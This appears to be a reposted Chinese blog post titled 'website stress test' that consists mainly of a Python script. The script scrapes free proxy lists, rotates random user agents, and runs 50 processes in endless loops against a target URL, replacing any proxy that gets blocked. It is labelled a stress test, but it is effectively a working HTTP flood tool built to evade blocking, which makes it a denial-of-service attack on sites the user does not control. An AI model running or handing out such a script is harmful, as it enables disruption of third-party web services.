网站压力测试

import requests
from fake_useragent import UserAgent
import multiprocessing
import time
from requests_ip_rotator import ApiGateway
from bs4 import BeautifulSoup
from random import randrange

def get_proxies():
    url = 'https://free-proxy-list.net/'
    response = requests.get(url)
    html = BeautifulSoup(response.content, 'html.parser')
    shit = html.find('table', class_="table table-striped table-bordered")
    piss = shit.find('tbody')

    table = [dick for dick in (fuck.find_all('td') for fuck in piss.find_all('tr'))]
    proxies = []
    for entry in table:
        ip = entry[0].next
        port = entry[1].next
        proxies += [str(ip) + ':' + str(port)]
    return proxies

def fuckRT(x,proxies):
    totalbytes = 0
    session = requests.Session()
    works = False
    while True:
        if len(proxies) > 0:
            if works == False:
                index = randrange(len(proxies))
                this_proxy = proxies[index]
                proxy = {
                    "http": 'http://'+this_proxy,
                    "https": 'http://'+this_proxy
                }
                headers = {'User-Agent': UserAgent().random}
            try:          url = 'https://www.baidu.com/'  # 输入你想压测的网址
                response = session.get(url=url, timeout=5,headers=headers,proxies=proxy)
                totalbytes += len(response.content)/1000000
                print(str(x)+': '+''+str(this_proxy) +']'+str(response) + '' + str(len(response.content)/1000000) + '|' + str(totalbytes) + ']>')
                if not response.status_code == 403:
                    works = True
                else:
                    works = False
                    proxies.remove(this_proxy)
            except:
                works = False
                proxies.remove(this_proxy)
                #print(str(x)+': '+''+str(this_proxy) +']> [timeout]')
        else:
            print(str(x)+': [no working proxy]')
            print(str(x)+': [getting new proxies]')
            proxies=get_proxies()
if __name__ == '__main__':
    proxies=get_proxies()
    print('Proxies: '+str(proxies))
    processes = range(50)
    for x in processes:
        process = multiprocessing.Process(target=fuckRT,args=(x,proxies))
        process.start()
        time.sleep(0.1)
    while(1):
        time.sleep(1000)

Original: https://www.cnblogs.com/1314h/p/16632400.html
Author: Naihe
Title: 网站压力测试

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/644453/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球